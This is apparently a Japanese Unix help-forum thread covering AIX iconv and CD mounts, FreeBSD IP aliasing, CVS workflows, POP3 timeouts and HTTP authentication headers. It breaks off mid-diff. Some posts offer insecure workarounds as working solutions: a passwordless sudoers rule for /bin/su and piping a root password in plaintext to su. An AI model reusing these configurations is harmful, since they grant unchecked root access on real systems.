>>2576 小僧 web で AIX のマニュアルを探してみました。 http://publib.boulder.ibm.com/doc_link/Ja_JP/a_doc_lib/cmds/aixcmds3/iconv.htm http://publib.boulder.ibm.com/doc_link/Ja_JP/a_doc_lib/aixprggd/genprogc/convert_prg.htm#A197C1176 によると、AIX では euc-jp ではなく IBM-eucJP なのかもしれません。 Shift_JIS も同様に IBM-932 かもしれません。 > 自分で調べたところ、必要なファイルだと思われるのは、 > /usr/lib/iconvファイルだと思うのですが、 上記マニュアルを見ると、コンバータのファイルのありかは /usr/lib/nls/loc/iconv/ /usr/lib/nls/loc/iconvTable/ と書いてあるように見えます。 # なぜ /usr/lib/iconv/ だと判断したかが第三者にわかるように書きましょう。 # 皆が AIX を使っているありませんので。 僕は AIX4.3 のマニュアルを見ましたが、あなたがお使いのバージョンが わからないので、これが正しいかどうかはわかりません。ちゃんと OS の バージョンを書きましょう。 >>2579 /tk なるほど。その例では確かに -1 が必要ですね。僕は split /\t/, "a->->c->d" => (a,'',c,d) のように真ん中に TAB がある例だけを試していて、気づきませんでした。 |
|
>>2573 68user ご返答ありがとうございます。 >> 他のサーバではこの記述通りで動作しました。 >本当ですか? どうして root でもないのに、パスワードなしで >su で他ユーザになれるのですか? >> su - mono -s /home/mono/mno.sh ユーザ"mono"にパスワードがないため、なぜか実行できました。 >なぜ -c でなく -s なのでしょうか? よく分からずに指定したシェルを実行するとあったので、-s に しました。また -c でも駄目でした。 >ちなみに FreeBSD 4.4-RELEASE では、端末がない状態で (cron 経由) > echo PASSWORD | su root -c /usr/bin/id >でプログラムの実行ができました。 この場合、rootのパスワードが必要かと思いますが、そこはどのように されているのでしょうか。 >そんなことはないと思いますが、perl のバージョンは何ですか? >perl-5.005_03 ではそのような挙動を示しませんでした。 perlのバージョンは、perl-5.6.0-12ですが、 シェルスクリプトはどちらもperlを使用しておりません。 #!/bin/sh su - mono -s /home/mono/mno.sh また、 #!/bin/sh scp /var/XYZ/123.txt abc.world.co.jp:/home/mono/123.txt ssh abc.world.co.jp sh /home/mono/mno2.sh と書いています。 そもそもこれが駄目なのでしょうか。 宜しくお願いします。 |
|
初めて書込みするんですけども、最近Cシェルを始めたんですが・・・ 最初にログインした、IPアドレスから他のアドレスへログインする事ってできますか? |
|
>>2580 68user 返信ありがとうございます。 >web で AIX のマニュアルを探してみました。 わざわざ時間を割いていただいてありがとうございます。 ># なぜ /usr/lib/iconv/ だと判断したかが第三者にわかるように >書きましょう。 >僕は AIX4.3 のマニュアルを見ましたが、あなたがお使いのバージョン >がわからないので、これが正しいかどうかはわかりません。ちゃんと >OS のバージョンを書きましょう。 申し訳ございませんでした。 調べたのは「UNIX クイックリファレンス」という本です。 OSのヴァージョンは、AIX 4.3です。 次回からはきちんと記載するように致します。 お蔭様で、iconvが出来るようになりました。 本当にありがとうございました。 |
|
いつも参考にさせて貰っています。 ひとつ気づいた所があるのですが、Perlでのforkを使ったサーバプログラムの部分ですが、 親プロセスは子プロセスの終了ステータスを受けとらなければならないため、waitが必要だと思います。waitが無いと、子プロセスが終了してもdefunct状態のまま存在し続けてしまいます。 このwaitについて、下記の一行を追加するだけでうまくいきます。 $SIG{CHLD} = sub { wait }; (オライリーのらくだ本より) 以上、ご参考まで。 |
|
お世話になります、小僧です。 連続の質問になるので、気が引けるのですが、 どうしても分からないので相談させて下さい。 AIX4.3.3 にてCDをマウントを行ったのですが、 CDのファイル名が全て小文字に変換されてしまいます。 Windowsで見ると大文字、小文字の区別がされています。 マウントを行うときに、オプション指定で 大文字、小文字を判定させる事は可能なのでしょうか? #AIXでのマウントってちょっと特殊なんですよね? #私が実行したマウントコマンドを記述しておきます。 #>mount -V cdrfs -r /dev/cd0 /mnt アドバイス、お願い致します。 |
|
はじめまして。 サンプルプログラムをいつも参考にさせていただいている者です。 「C言語で ftp クライアントを作ってみよう (1)」のプログラムを 参考にFTPプログラムを作成していますが、プログラム中で、 cdコマンド、putコマンド相当の処理を行う場合はどのような記述を すればよいか教えていただけないでしょうか(_0_) user、passwd、quitの入力を、USER、PASS、QUITを使用して コマンドをしているように見えます。これ相当の処理を、cd、putで 行う場合のプログラミングを調べております。 申し訳ありませんが御覧になっていたらアドバイスをお願いします (_0_) |
|
はじめまして。* システムコール・ライブラリルーチンのページをよく見させて いただいている者です。 ふと、気がついた部分がありまして生意気にも 指摘の投稿させていただきました。 http://x68000.startshop.co.jp/~68user/unix/pickup?usleep において、マイクロ秒:百万分の一秒 であり、 0.001 秒単位ではなく、 例の説明も違っていると思います。 既に指摘があったらすいません。 |
|
こんにちは。 http://X68000.startshop.co.jp/~68user/が正式なURLとの事ですが、OmniWeb4.0.6というブラウザを使うとアドレスを読み込み出来ない旨が表示され以下のようなエラーが表示されます。 http://www2.startshop.co.jp/~68user/では正常に表示されます。 Mar 19 00:45:16 http://X68000.startshop.co.jp/~68user/(HTTP): Host not found: u30dbu30b9u30c8 x68000.startshop.co.jp u306fu3042u308au307eu305bu3093 Mar 19 00:45:16 http://X68000.startshop.co.jp/~68user/ (HTTP): Host not found: ホスト x68000.startshop.co.jp はありません ブラウザのバグかもしれませんが、一応ご報告まで。 ネットワークプログラミングの基礎知識、とても参考になります。 では。 |
|
>>2588 狂態公開 う〜ん。 ;; ANSWER SECTION: x68000.startshop.co.jp. 17h56m14s IN CNAME ww2.startshop.co.jp. www2.startshop.co.jp. 17h56m14s IN A 210.249.139.22 CNAMEか・・ 狂態公開さんの所のDNSサーバーがおかしいんだと思うぞう。 |
|
x68000.startshop.co.jp. 17h56m14s IN CNAME www2.startshop.co.jp. だな。wを一つ消してもた |
|
初めまして、こんばんわ。 ブックさせて頂いて、お勉強させて頂いております。m(_ _)m レンタルサーバを1台借りて、色々しているのですが 今回IPアドレスを2つ追加したのはいいけれど、設定に途方にくれて 書き込みさせて頂いております。 ifconfig_fxp0="inet 210.224.181.hhh netmask 255.255.255.0" ifconfig_fxp0_alias0="inet 210.224.177.ttt netmask 255.255.255.255" 現状に、追加 210.188.eee.6/31 (7も有効)ということで ifconfig_fxp2_alias0="inet 210.188.eee.6 netmask 255.255.255.254" を、追加した次点ではpingでもちゃんと返って来てたのが・・ ifconfig_fxp3_alias0="inet 210.188.eee.7 netmask 255.255.255.254" も、追加したら 6では パケットエラー、7では1行出てそれ以降は いつまでたってもうんともすんとも状態になってしまいました。 が、これはtera term menu で自分サーバー内からのことで、外から TELNET使用すると普通にpingで返ってくるのですが、これはどう考えたらよいものなのでしょうか。 ご存じの方いらっしゃいましたら、アドバイスを頂きたく書き込みさせて頂きました。宜しくお願い致します。 |
|
>>2591 あや まず、OS 名とバージョンを書きましょう。FreeBSD っぽいので FreeBSD として回答します。 fxp0, fxp2, fxp3 ということは、NIC 3 枚差しなのですか? ifconfig -a で fxp0, fxp2, fxp3 それぞれの情報がちゃんと 出てきます? > ifconfig_fxp2_alias0="inet 210.188.eee.6 netmask 255.255.255.254" > を、追加した もし /etc/rc.conf を編集してリブートしているのでしたら、それは やめて、コマンドラインから # ifconfig fxp2 inet 210.188.eee.6 alias netmask 255.255.255.254 などとして、その後 # ifconfig -a で確認するようにして下さい。 で、要は # ifconfig fxp0 inet 210.224.181.hhh netmask 255.255.255.0 # ifconfig fxp0 inet 210.224.177.ttt alias netmask 255.255.255.255 # ifconfig fxp2 inet 210.188.eee.6 alias netmask 255.255.255.254 # ifconfig fxp3 inet 210.188.eee.7 alias netmask 255.255.255.254 とした、ということですか? fxp2 と fxp3 にそれぞれ重複して IP アドレスを振ってないならば、 「alias」を削って # ifconfig fxp0 inet 210.224.181.hhh netmask 255.255.255.0 # ifconfig fxp0 inet 210.224.177.ttt alias netmask 255.255.255.255 # ifconfig fxp2 inet 210.188.eee.6 netmask 255.255.255.254 # ifconfig fxp3 inet 210.188.eee.7 netmask 255.255.255.254 じゃないかなと思います (ifconfig の実装によっては OK なのかも)。 > も、追加したら 6では パケットエラー、7では1行出てそれ以降は > いつまでたってもうんともすんとも状態になってしまいました。 エラーの内容を具体的に書きましょう。 で、ping が通らないということは、インタフェースが認識されていないか、 ルーティングテーブルがおかしいか、arp テーブルがおかしいのでしょう。 netstat -a、netstat -r、arp -a の結果はどうなってますか? |
|
>>2587 pyu > マイクロ秒:百万分の一秒 であり、0.001 秒単位ではなく、例の説明も > 違っていると思います。 ご指摘ありがとうございます。早速修正しました。 http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/unix/org/func.src 僕はマイクロ=ミリ (ミリはマイクロの略称) だと完全に勘違いしていたのですが、 ミリ秒=1/1,000 秒 マイクロ秒=1/1,000,000 秒 なのですね。よく考えれば1ミリメートルと1マイクロメートルが同じ長さなはずが ない、と。 >>2588 狂態公開 > OmniWeb4.0.6というブラウザを使うとアドレスを読み込み出来ない旨が > 表示され以下のようなエラーが表示されます。 うーむ、僕も DNS がおかしいのではないかと思うのですが…。 もし Mac OS X をお使いでしたら、ping や nslookup を 試してみて下さい。 |
|
>>2586 超初心者 > 参考にFTPプログラムを作成していますが、プログラム中で、 > cdコマンド、putコマンド相当の処理を行う場合はどのような記述を > すればよいか教えていただけないでしょうか(_0_) perl 編で、FTP プロトコルそのものの解説をしておりますので、ご一読下さい。 http://x68000.startshop.co.jp/~68user/net/ftp-1.html http://x68000.startshop.co.jp/~68user/net/ftp-2.html http://x68000.startshop.co.jp/~68user/net/ftp-3.html http://x68000.startshop.co.jp/~68user/net/ftp-4.html >>2584 persianopeh > 親プロセスは子プロセスの終了ステータスを受けとらなければならないため、 > waitが必要だと思います。 ごもっともです。wait をすっかり忘れておりました。 ただ、解説も一緒に付けたいので、少し時間を下さいませ。 |
|
>>2585 小僧 > マウントを行うときに、オプション指定で大文字、小文字を判定させる > 事は可能なのでしょうか? まず基礎知識。CD-ROM にはいくつかフォーマットの種類があります。 http://www.zdnet.co.jp/magazine/pcjapan/0105/sp2/09.html http://publib.boulder.ibm.com/doc_link/Ja_JP/a_doc_lib/cmds/aixcmds1/toc.htm ISO9660 は大文字・小文字を区別しません (たぶん全て大文字で記録される)。 Joliet は、MS-DOS の 8.3 形式とロングファイルネームの2つのファイル名を 持ちます。UNIX のように大文字・小文字を区別するには RockRidge (ロックリッジ) というフォーマットを使います。 よって、その CD-ROM が ISO9660 で作られているなら、大文字小文字の 区別はできません。ただし Windows で大文字小文字が区別されている ということは、その CD-ROM は Joliet か RockRidge なのかもしれません。 Windows で見て、8.3 形式とロングファイルネームの両方が表示されるなら、 それは Joliet 形式かもしれません (本当かなぁ)。 なお、AIX は Joliet には非対応ですが、RockRidge には対応しているようです。 http://publib.boulder.ibm.com/doc_link/Ja_JP/a_doc_lib/aixbman/admnconc/fs_overview.htm これらのファイルタイプを mount のオプションで指定する方法は、web の マニュアルからは読みとれませんでした (むしろ cdrfs を指定すれば 自動認識してくれそうに思える)。 というわけで、残念ながら解決法はわかりませんでした。 >>2852 mattu > 最初にログインした、IPアドレスから他のアドレスへログインする > 事ってできますか? 質問の意味がわかりません。 |
|
>>2581 q19_77 > ユーザ"mono"にパスワードがないため、なぜか実行できました。 なるほど、納得です。 >> echo PASSWORD | su root -c /usr/bin/id >>でプログラムの実行ができました。 > この場合、rootのパスワードが必要かと思いますが、そこはどのように > されているのでしょうか。 echo PASSWORD の部分に root のパスワードを書いています。 > perlのバージョンは、perl-5.6.0-12ですが、 > シェルスクリプトはどちらもperlを使用しておりません。 それは、ふくしさんに対しての回答です。今回の問題で perl のバージョンを 疑っているわけではありません。 一番簡単なのは root 権限で su - mono -c /home/mono/mno.sh とすることです。root 権限なら何の問題もなくできるはず。 また、問題を切り分けましょう。 > ssh abc.world.co.jp sh /home/mono/mno2.sh ここで tty を要求している可能性もないとは言えませんので、まずは su - mono -c /usr/bin/id から始めるべきです。 |
|
お世話になります。m(_ _)m FreeBSD 3.5.1 を 利用しております。 すみません、前回書き込みが間違っていました。 NICは1枚です。IPは計4つの状態です。 rc.conf の中身は現在下記のようにしています。 ifconfig_fxp0="inet 210.224.171.ttt netmask 255.255.255.0" ifconfig_fxp0_alias0="inet 210.224.177.hhh netmask 255.255.255.255" ifconfig_fxp0_alias1="inet 210.188.fff.6 netmask 255.255.255.254" ifconfig_fxp0_alias2="inet 210.188.fff.7 netmask 255.255.255.254" ww# ping 210.188.fff.6 PING 210.188.fff.6 (210.188.fff.6): 56 data bytes ping: sendto: Can't assign requested address ・ ・ と、続いて www# ping 210.188.fff.7 PING 210.188.fff.7 (210.188.fff.7): 56 data bytes この行のみしか出ません。 ww# ifconfig -a fxp0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500 inet 210.224.171.ttt netmask 0xffffff00 broadcast 210.224.171.ttt inet 210.224.177.hhh netmask 0xffffffff broadcast 210.224.177.hhh inet 210.188.fff.6 netmask 0xfffffffe broadcast 210.188.fff.7 inet 210.188.fff.7 netmask 0xfffffffe broadcast 210.188.fff.7 www# netstat -a Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp 0 6823 210.224.177.hhh.http TKTcd-01p91.ppp..1696 FIN_WAIT_1 tcp 0 0 210.224.177.hhh.http TKTcd-01p91.ppp..1694 TIME_WAIT tcp 0 0 210.224.177.hhh.http 203.139.83.201.4518 FIN_WAIT_2 tcp 0 0 210.224.177.hhh.http 210.225.27.166.13100 FIN_WAIT_2 tcp 0 0 210.224.177.hhh.http 210.225.27.166.13088 FIN_WAIT_2 tcp 0 4 www.telnet c85242.tctv.ne.j.1872 ESTABLISHED tcp 0 0 *.http *.* LISTEN tcp 0 0 *.smtp *.* LISTEN tcp 0 0 *.pop3 *.* LISTEN tcp 0 0 *.telnet *.* LISTEN tcp 0 0 *.ftp *.* LISTEN tcp 0 0 *.sunrpc *.* LISTEN udp 0 0 *.sunrpc *.* udp 0 0 *.syslog *.* Active UNIX domain sockets Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr c89aaf80 dgram 0 0 0 c89a0fc0 0 c89aafc0 c89aafc0 dgram 0 0 0 c89a0fc0 0 0 c89a0fc0 dgram 0 0 c899f680 0 c89aaf80 0 /var/run/log www# netstat -r Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire default oscrt1e-L5.gw.saku UGSc 26 1593573 fxp0 localhost localhost UH 0 112 lo0 210.188.fff.6 0:e0:18:e0:10:2b UHLWb 0 10 lo0 => 210.188.fff.6/31 link#1 UC 0 0 fxp0 210.188.fff.7 ff:ff:ff:ff:ff:ff UHLWb 0 141 fxp0 210.224.171 link#1 UC 0 0 fxp0 oscrt1e-L5.gw.saku 0:0:5e:0:1:16 UHLW 26 0 fxp0 1200 oscrt2e-L5.gw.saku 0:e0:80:2f:1d:0 UHLW 0 0 fxp0 1199 210.224.177.hhh/32 link#1 UC 0 0 fxp0 www# arp -a ? (210.188.fff.6) at 0:e0:18:e0:10:2b permanent [ethernet] ? (210.188.fff.7) at ff:ff:ff:ff:ff:ff permanent [ethernet] oscrt1e-L5.gw.sakura.ad.jp (210.224.171.1) at 0:0:5e:0:1:16 [ethernet] oscrt2e-L5.gw.sakura.ad.jp (210.224.171.2) at 0:e0:80:2f:1d:0 [ethernet] このようになっております。宜しくお願い致します。 |
|
>>2596 68user ご返答ありがとうございます。 su - mono -c /usr/bin/id として試してみましたが、やはりmonoユーザになれないようでした。 68userさんの言われる通り、以下のようにroot権限で処理を行うように しましたところ、上手く動作しました。 sudorsファイルにmonoユーザがroot権限で"su"できるよう記述 mono ALL= NOPASSWD: /bin/su シェルスクリプトファイルに以下のように記述 sudo su - mono -c /home/mono/mno.sh 上手く動作しなかった原因と対処法は分かりませんでしたが、 動作するようになりましたので、よかったです。 どうもありがとうございました。 |
|
>>2597 あや > ifconfig_fxp0_alias2="inet 210.188.fff.7 netmask 255.255.255.254" ifconfig_fxp0_alias2="inet 210.188.fff.7 netmask 255.255.255.255" だと思います。 // 以下参照 http://www.freebsd.org/ja/handbook/configtuning-virtual-hosts.html |
|
早速ありがとうございます。 210.188.fff.6/31 として 6と7がIPとして有効。 /31と言うことで255.255.255.254としていたのですが、 7の場合は255.255.255.255とする理由をご伝授頂ければ勉強になります。 ww# ping 210.188.fff.6 PING 210.188.fff.6 (210.188.fff.6): 56 data bytes ping: sendto: Can't assign requested address ・ ・ と、続いて www# ping 210.188.fff.7 PING 210.188.fff.7 (210.188.fff.7): 56 data bytes ping: sendto: Can't assign requested address ・ ・ と、続くようにはなりましたが。 何度もすみません。宜しくお願い致します。 |
|
いまさらながら気づいたのですが、 >>2597 あや > ifconfig_fxp0_alias1="inet 210.188.fff.6 netmask 255.255.255.254" > ifconfig_fxp0_alias2="inet 210.188.fff.7 netmask 255.255.255.254" これは根本的に無理でしょう。210.188.fff.6/31 ってことは、 210.188.fff.6 … ネットワークアドレス 210.188.fff.7 … ブロードキャストアドレス となってしまい、IP アドレスを1つも振ることはできません。ネットワーク アドレス部は 30 ビット以下でないとおかしい。 うちの FreeBSD 4.4-RELEASE でも # ifconfig vr0 inet 10.1.1.1 alias netmask 255.255.255.254 とすると、 ping: sendto: Can't assign requested address となりました。 >>2599 hsj > http://www.freebsd.org/ja/handbook/configtuning-virtual-hosts.html に従って、 # ifconfig vr0 inet 10.1.1.1 alias netmask 255.255.255.252 # ifconfig vr0 inet 10.1.1.2 alias netmask 255.255.255.255 としたら OK でした。 |
|
>>2595 68user お世話になります。 色々調べて頂いてありがとうございます。 その後、調査をした結果、方法がわかりました。 #mount -V cdrfs -r -o nocase /dev/cd0 /mnt コマンドで、大文字、小文字を判定してくれました。 必要なオプションは"-o nocase"だったようです。 時間を割いて調査して頂き、ありがとうございました。 |
|
>>2601 68user > これは根本的に無理でしょう。210.188.fff.6/31 ってことは、 > 210.188.fff.6 … ネットワークアドレス > 210.188.fff.7 … ブロードキャストアドレス > となってしまい、IP アドレスを1つも振ることはできません。ネットワーク > アドレス部は 30 ビット以下でないとおかしい。 あ、そりゃそうですね・・・。 設定にだけ目がいって基本的な部分を見落としてました(苦笑 そういえば、本題とは関係ありませんが件のページの、 > システムは 10.1.1.0 には 10.1.1.1 として, 202.0.75.20 には > 202.0.75.17 として現れるようにします. は、やっぱり「202.0.75.16 には202.0.75.17 として〜」と 書きたかったんでしょーか。 >>2600 あや > 255.255.255.255とする理由をご伝授頂ければ勉強になります。 これはFreeBSDの場合はそう言うモンだとしか。 ちゃんと調べたわけではありませんが、ルーティングとかの絡みでの 単なる実装上の都合ではないでしょうか。 |
|
>>2603 hsj > 「202.0.75.16 には202.0.75.17 として〜」と書きたかったんでしょーか。 原文は http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/configtuning-virtual-hosts.html We want the system to appear at 10.1.1.1 through 10.1.1.5 and at 202.0.75.17 through 202.0.75.20. なので、 10.1.1.1 から 10.1.1.5 まで、202.0.75.17 から 202.0.75.20 まで てなところではないでしょうか。 誤訳かなぁと思うのですが、自信なし。 |
|
ご教授、本当にありがとうございました。m(_ _)m 今回、全部ではないですが理解出来た部分が増えました。m(_ _)m 元々のレンタサーバからの設定が通常とは違うのか、かなりの時間を 経て本日回答は 255.255.255.255 設定にして下さいとのことでした。 ping すると 返ってくるので、こういう設定もあるのかと 又 少し頭を かかえたりもですが。(ーー; 本当にほんとうに、ありがとうございました。m(_ _)m m(_ _)m m(_ _)m |
|
ActivePerl について質問です。 (ActivePerl-5.6.1.631-MSWin32-x86.msi を使っています) Windows 2000 から`拡張子 pl を使うと、 C:\> foo.pl のようにコマンドのように実行できるようになりましたが、 <> を使ってコマンドラインからファイルを入力すると、 引数にファイル名を渡すと OK ですが (C:\> foo.pl bar.txt のような状態) インプットリダイレクションすると NG です。 (C:\> foo.pl < bar.txt のような状態) 症状は、1行も読み込みません。 これはこういう現象なのでしょうか? 内部的になにが起こっているのでしょうか? もしなにかわかりましたらご教示ください。 |
|
お世話になります。 また質問をさせて頂きます。 AIXサーバ(ver 4.3.3)から、ファイルを3490テープに出力し、 そのファイルをホスト(S/390)が受取り、処理を行う、 という運用があるのですが、AIXサーバからファイルを3490テープに 出力する方法がまったくわかりません。 上記質問とは関係のない、3490テープに関する情報でも構いませんので、 ご存知の方がいらっしゃいましたら、情報をアナウンスして頂ければ幸いです。 また、必要な情報が何なのかも分かっていません。 「これを読んで勉強してこい」という情報でも構いませんので、 宜しくお願い致します。 |
|
POP3についての質問です。 Webメールクライアントに興味があり、 初めてFreeBSDをインストールしたのですが 事ある毎に何日も嵌り続けています(^^; 今回、問題の切り分けも自力で出来ずに悩んでいます。 何か良いアドバイスを頂ければと思い書き込みさせて頂きます。 FreeBSD + checkpassword を使いPOPサーバーを起動しています。 例えば User@bsd.com 宛のメールを閲覧するのにPOP3Client.pmを使った perlスクリプトなのですが何故か、私の組んだサーバーを含むいくつかの サーバーで「ユーザー認証が出来ません」 ただ、どのサーバーも telnet で 110ポートへ接続して > USER User > PASS Pass > LIST とすると認証され一覧も表示されます。 Web上で見つけた他のクライアントソフト(peepmail)で試したのですが 同じように特定サーバーで認証エラーが発生します。 その後SOCKET部分の問題かと思い 参考文献によくあるような 〜 略 〜 select(SOCKET); $|=1; select(STDOUT); print SOCKET "USER $username\r\n"; print SOCKET "PASS $passwd\r\n"; print SOCKET "LIST\r\n"; 〜 略 〜 では +OK <8182.1017479300@bsd.com> といった返事しか得られなかった為に 〜 略 〜 select(SOCKET); $|=1; select(STDOUT); print SOCKET "USER $username\r\n"; $tmp = <SOCKET>; print SOCKET "PASS $passwd\r\n"; $tmp = <SOCKET>; print SOCKET "LIST\r\n"; $tmp = <SOCKET>; 〜 略 〜 又は 〜 略 〜 select(SOCKET); $|=1; select(STDOUT); print SOCKET "USER $username\r\n"; print SOCKET "PASS $passwd\r\n"; sleep(1); print SOCKET "LIST\r\n"; 〜 略 〜 とした所、サーバーからの応答が得られました。 この事と関係しているのでしょうか? POP3Client.pm の内容も見たのですが全然分かりません。。。 原因はどの辺りにあるのか、アドバイスを頂けないでしょうか。 |
|
自己レスです。 POP3Client の呼び出しで > TIMEOUT => 60 というタイムアウト指定項目がありこれを 設定した所、無事に動作致しました。 結局の所、反応の遅いサーバーではタイムアウト指定を してあげないといけなかっただけのようです。 1週間以上悩んでいた事が BBSへ書き込んで数時間で解決しました(^^; |
|
>>2609 sio DEBUG=>1 としておけば気づきやすかったかもしれませんね。 |
|
SOCKETを使ったHTTPクライアントソフトで認証のページに アクセスする方法はどうするのでしょうか? |
|
>>2611 hama 認証が必要なページを読むと、Basic 認証が必要なページならば HTTP/1.1 401 Authorization Required WWW-Authenticate: Basic realm="This URI is required authentication" というようなレスポンスが返ってきます。 もしユーザ名が USER、パスワードが SECRET なら、クライアントは USER:SECRET という文字列を作り、それを base64 でエンコードした VVNFUjpTRUNSRVQK という文字列を「Authorization: Basic 」に続けて送ります。つまり GET / HTTP/1.0 Authorization: Basic VVNFUjpTRUNSRVQK こんな感じ。 Digest 認証ならば、web サーバは WWW-Authenticate: Digest realm="testrealm@host.com", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41 という感じのを返してくるので、クライアントは GET / HTTP/1.0 Authorization: Digest username="hoge", realm="testrealm@host.com", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/", response="e966c932a9242554e42c8ee200cec7f6", opaque="5ccc069c403ebaf9f0171e9517f40e41" こんな感じで。 詳細はこちらを。 http://www.ietf.org/rfc/rfc2617.txt |
|
はじめまして、いつも勉強させて頂いております。 バージョン管理ソフトのCVSについて質問です。 ソースをレポジトリにインポートすると「ファイル名,v」となります。 ,vが管理されていると言う事だと思うのですが、この管理している ソースを直接WEBに反映したいのですが,vがある事でもとのファイルがみつからないとのエラーがブラウザに表示されてしまいます。 CVSROOTの中(loginfo等)はそれぞれ、元のファイルと,vのファイルがあり、チェックアウトしてソースを修正して戻すと両方のファイルが 更新されています。このようにする方法は無いのでしょうか。 以上、宜しくお願いします。 |
|
申し訳ないです。下の質問わかりにくいですね。 例えばindex.htmlをインポートするとindex.html,vとなってしまう為 ブラウザーでindex.htmlを表示できないという事です。 宜しくお願いします。 |
|
>>2614 kouhei 目的は、履歴 (index.html,v) を表示することですか? それともコンテンツ (index.html) を表示することですか? |
|
>>2615 68user 追加。 もし後者だとしたら、リポジトリを直接ブラウザで見ようとして いるのはなぜですか? |
|
素早いレスありがとうございます。 目的はコンテンツ(index.html)を表示したいということです。 参考にトップページのソースを拝見させていただきました。 1行目に<!--$ID:index.html,v 〜 があるというこはindex.htmlを 管理しているという事ですよね。これはチェックアウトした物を表示 しているのですか。 私がやりたいのはインポートしたindex.htmlを表示したいという事です 以上、宜しくお願いします。 |
|
追加。 もしかして普通はこんな事しませんか。 テスト用サーバでcommitと同時に画面に反映されたらテストが楽に なると思ったので。動作確認ができたら本番サーバにリリースする というような事を考えていました。 実現できるのでしょうか。 |
|
>>2618 kouhei > テスト用サーバでcommitと同時に画面に反映されたらテストが楽に > なると思ったので。動作確認ができたら本番サーバにリリースする > というような事を考えていました。 運用の問題になりますが、commit しないとテストできないというのは 面倒ではないですか? 普通、ちょっと作ってはブラウザで確認、不具合を修正し、確認し…と 修正・確認を繰り返して、まぁ問題ないだろうというときになったら commit するものだと思います。 よって、 - CVSROOT が /home/user/cvsroot - テスト環境を置くディレクトリが /home/user/public_html/ - 本番環境を置くディレクトリが /usr/local/www/data/ だとしたら、 % cd /home/user/public_html (ここで修正・確認を繰り返す) % cvs commit % cd /usr/local/www/data/ % cvs update (本番環境に反映。あるいは再度 checkout しなおしてもよい) とするのがよいと思います。 CVSROOT/loginfo をいじれば、commit した瞬間に本番環境へ反映させる ことは不可能ではありませんが、常に本番環境に即時反映されるのも困る 場合があるんじゃないでしょうか? また、本番環境への自動反映であれば、cron で定期的に更新するという 手もあります。loginfo で凝ったことをするより、cron で小回りのきく 単純なシステムを作った方がいいかもしれません。 |
|
ありがとうございます。 チェックアウト先をWindowsのローカルにと考えていたのが 悪かったようです。Unix上にチェックアウトしてSambaで編集すれば 良いのですね。開発がサーブレットとjspとオラクルだったのもので 気軽にローカルでテスト環境を作るというのが難しかった為、サーバに 戻してテストしようと考えていました。 cronは便利そうですね。使った事ないですが勉強しようと思います。 以上、ありがとうございました。 |
|
>>2620 kouhei > 開発がサーブレットとjspとオラクルだったのもので気軽にローカルで > テスト環境を作るというのが難しかった為 なるほど。 でも、開発を各マシン上で行えると便利ですよ。 開発環境は各マシンで Windows+JBuilder+Tomcat+PostgreSQL 用 JDBC ドライバ (テスト用サーバで PostgreSQL が稼働) テスト & 本番環境は UNIX+Tomcat+Oracle てな感じで やっているところを見たことがあります。 Oracle と Tomcat を違いではまらないように、開発者は SQL を 直接書かず、DB 担当者が SQL を一括管理していましたが、そのかわり 「今から開発マシン落としま〜す」 「なんだ開発できねぇじゃねーか」 とかいうことがなくなりますし、同じファイルを同時にいじくって しまう危険もないですね。 まあ、ある程度の規模にならないとメリットも出てこないので、 kouhei さんの環境でもそうするべきかどうかはわかりませんが、 参考まで。 |
|
2つのファイルの比較について、 hogeとfooという2つのファイルが場合、 この2つのファイルから、同一の内容)行を出力するコマンドは どのようなものがありますか? |
|
2つのファイルの比較について、 hogeとfooという2つのファイルがある場合、 この2つのファイルから、同一の内容の行を出力するコマンドは どのようなものがありますか? |
|
下記で同じ質問をしたところ、回答をいただいて解決しました。 http://www.parkcity.ne.jp/~chaichan/qanda/qa2652.htm |
|
マルチポストですか・・・>あやの |
|
お世話になってます。すみませんがもう一つ質問させてください。 CVSでコミットと同時にメールで複数人に通知したいのですが、設定がよくわかりません。 一応、以下の内容をloginfoに加えればメールは送られるのですが コミットに1分以上、時間がかかってしまい使えません。 ALL (echo ""; id; echo %{sVv}; date; cat) | mail メールアドレス パールを使う以下の方法も試したのですがパールの中でエラーが出てしまいます。 DEFAULT /usr/local/lib/cvs/contrib/log %s -m メールアドレス -f $CVSROOT/CVSROOT/commitlog エラー内容は 〜/user/local/lib/cvs/contrib/log line 172. です。 ----------------------------------------------------------- /user/local/lib/cvs/contrib/log ----------------------------------------------------------- close(OUT); die "Write to $logfile failed" if $?; close(MAIL); die "Pipe to $mailcmd failed" if $?; ← 172行目 ----------------------------------------------------------- 環境はLINUXです。 メール自動送信の方法をご伝授して頂けないでしょうか。 宜しくお願いします。 |
|
>>2626 kouhei > コミットに1分以上、時間がかかってしまい使えません。 > ALL (echo ""; id; echo %{sVv}; date; cat) | mail メールアドレス 普通に考えると、commit に時間がかかる場所は mail コマンド以外には 考えられないので、まずはコマンドラインから % mail メールアドレス で試してみるべきでしょう。 > パールを使う以下の方法も試したのですがパールの中でエラーが出てしまいます。 こちらも % Mail -s 'CVS update: $modulepath メールアドレス や % /usr/local/lib/cvs/contrib/log %s -m メールアドレス -f $CVSROOT/CVSROOT/commitlog などをコマンドラインから実行して、再現するかどうか試しましょう。 うちでは http://www-vox.dj.kit.ac.jp/nishi/cvsbook/ の mailto-committers.pl.txt を 使っています。 - CVSROOT に jcode.pl を cvs add。 - CVSROOT に mailto-committers.pl を cvs add。 - CVSROOT/checkoutlist に mailto-committers.pl jcode.pl を追加し、commit。 - CVSROOT/mailto-committers.pl を以下のように変更 --- CVSROOT/mailto-committers.pl 2001/04/05 07:05:28 1.1 +++ CVSROOT/mailto-committers.pl 2001/04/17 04:12:00 1.8 @@ -1,23 +1,24 @@ #!/usr/bin/perl # -# $Id: mailto-committers.pl,v 1.1 2001/04/05 07:05:28 mat Exp $ +# $Id: mailto-committers.pl,v 1.8 2001/04/17 04:12:00 mat Exp $ # Copyright (C) 1998 Hajime BABA. All rights reserved. # -require 'jcode.pl'; +require '/MASTER/cvs/CVSROOT/jcode.pl'; -$cvs = "/usr/bin/cvs"; -$rcsdiff = "/usr/bin/rcsdiff"; -$sendmail = "/usr/sbin/sendmail"; +$cvs 